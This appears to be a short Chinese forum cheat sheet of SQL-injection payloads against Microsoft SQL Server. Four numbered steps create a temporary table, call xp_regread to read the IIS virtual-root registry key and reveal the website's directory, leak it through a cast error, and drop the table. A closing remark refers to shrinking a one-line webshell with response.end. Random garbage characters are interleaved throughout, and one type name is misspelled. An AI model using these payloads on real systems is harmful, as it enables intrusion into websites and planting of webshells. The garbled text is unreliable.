1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表
! i/ B, N$ }* @) ]
' P Y% F2 ~/ A/ j1 N: x* X
/ q7 y6 {. N; O# Y. a+ ] 2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’-- 将网站目录插到表字段中! c# }% m9 `3 a7 @- r( N
6 u5 D8 @+ G* X G9 T8 I
8 [! c, O9 K8 H, G0 t' c8 x y" L$ _ 3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data] desc)=0 ’//暴出字段 |# H) g/ ?/ d2 W" f, Z* H
2 s0 b# {* h& @* O) o: I- u
. g! u( ]8 t U/ P. W0 _4 [* Y6 [, F: D7 O 4、drop table [jm_tmp]-- 删除此表。* b5 A# Y4 J3 i6 {; L% L
4 _$ {$ f. U5 G: I
/ H# X. z1 b2 m! X* M另附上备分专用一句话
$ j: a/ ^, J+ C j2 R0 U7 ^* v7 U+ A 加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.
0 \% M+ j3 A: k |